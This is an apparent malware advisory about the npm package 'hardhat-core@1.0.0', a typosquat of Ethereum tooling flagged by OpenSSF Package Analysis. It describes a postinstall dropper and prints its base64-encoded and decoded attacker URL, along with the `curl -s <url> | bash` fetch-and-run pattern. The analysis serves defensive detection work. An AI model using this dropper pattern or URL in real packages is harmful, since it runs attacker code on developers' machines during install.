hardhat-core@1.0.0

package.json declares a postinstall script that base64-decodes the string 'aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=' to the URL http://8.217.75.147:3000/payload and pipes the response into bash via `curl -s <url> | bash`. This fires automatically during `npm install`, executing attacker-controlled shell code fetched over plain HTTP from a hardcoded bare IP with no integrity verification. The package itself is empty (index.js exports `{}`) and its name impersonates the widely-used `hardhat` Ethereum tooling — the only purpose of installing it is to trigger the dropper. Three independent block signals are present: install-time curl|bash to a non-publisher bare IP, base64-obfuscated URL inside a lifecycle script, and a typosquat name with no real functionality serving as the lure. ## Source: ossf-package-analysis (37a9993551389729247a4d3b88747296e12dc861db457d83581f0e60cd4d0c30) The OpenSSF Package Analysis project identified 'hardhat-core' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.